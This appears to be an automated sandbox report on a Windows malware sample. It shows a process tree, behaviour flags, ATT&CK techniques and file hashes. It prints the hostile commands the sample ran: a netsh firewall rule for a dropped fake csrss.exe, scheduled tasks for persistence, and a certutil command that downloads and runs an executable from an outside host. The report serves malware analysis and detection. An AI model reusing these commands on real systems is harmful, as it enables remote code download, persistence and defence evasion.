9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 34 PID 804 wrote to memory of 2508 804 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 34 PID 804 wrote to memory of 2508 804 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 34 PID 804 wrote to memory of 2508 804 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 34 PID 804 wrote to memory of 2508 804 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 34 PID 804 wrote to memory of 2508 804 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 34 PID 804 wrote to memory of 2508 804 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 34 PID 2508 wrote to memory of 1932 2508 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 35 PID 2508 wrote to memory of 1932 2508 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 35 PID 2508 wrote to memory of 1932 2508 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 35 PID 2508 wrote to memory of 1932 2508 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 35 PID 1932 wrote to memory of 2256 1932 cmd.exe 37 PID 1932 wrote to memory of 2256 1932 cmd.exe 37 PID 1932 wrote to memory of 2256 1932 cmd.exe 37 PID 2508 wrote to memory of 2836 2508 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 38 PID 2508 wrote to memory of 2836 2508 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 38 PID 2508 wrote to memory of 2836 2508 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 38 PID 2508 wrote to memory of 2836 2508 9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe 38 PID 2836 wrote to memory of 1664 2836 csrss.exe 39 PID 2836 wrote to memory of 1664 2836 csrss.exe 39 PID 2836 wrote to memory of 1664 2836 csrss.exe 39 PID 2836 wrote to memory of 1664 2836 csrss.exe 39 PID 2836 wrote to memory of 1664 2836 csrss.exe 39 PID 2836 wrote to memory of 1664 2836 csrss.exe 39 PID 2836 wrote to memory of 1664 2836 csrss.exe 39 PID 2836 wrote to memory of 1664 2836 csrss.exe 39 PID 2836 wrote to memory of 1664 2836 csrss.exe 39 PID 2836 wrote to memory of 1664 2836 csrss.exe 39 PID 2836 wrote to memory of 1664 2836 csrss.exe 39 PID 1664 wrote to memory of 1032 1664 csrss.exe 51 PID 1664 wrote to memory of 1032 1664 csrss.exe 51 PID 1664 wrote to memory of 1032 1664 csrss.exe 51 PID 1664 wrote to memory of 1032 1664 csrss.exe 51 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1728 -
C:\Users\Admin\AppData\Local\Temp\9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2120 -
C:\Users\Admin\AppData\Local\Temp\9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe"3⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:804 -
C:\Users\Admin\AppData\Local\Temp\9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe"4⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2508 -
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵
- Suspicious use of WriteProcessMemory
PID:1932 -
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:2256
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2836 -
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""6⤵
- Executes dropped EXE
- Manipulates WinMonFS driver.
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1664 -
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F7⤵
- Creates scheduled task(s)
PID:1556
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://biggames.online/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F7⤵
- Creates scheduled task(s)
PID:2180
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2348
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v7⤵
- Modifies boot configuration data using bcdedit
PID:1032
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C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240611211505.log C:\Windows\Logs\CBS\CbsPersist_20240611211505.cab1⤵
- Drops file in Windows directory
PID:2672
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Replay Monitor
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Downloads
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Filesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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Filesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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Filesize
3.9MB
MD59f8a475abce8ee5d836319045b20b65d
SHA189eeee314fd0f4a1bb48a24ed37cb985897660f3
SHA256807457fd6828a6c089bfe1808dd9b21c3820fad6e54e18b517cb0bbd38abc42a
SHA5121f4426cbd2b441e9ae1e1c0f473a97a71b8d1a4eac47743a26c2d7fa64441e59aeb5d9c88c9362a0a7f63a11ffd2a2713f2a3818ce46af3982df3289051f720c
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Filesize
1.5MB
MD5f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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Filesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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Filesize
163KB
MD55c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d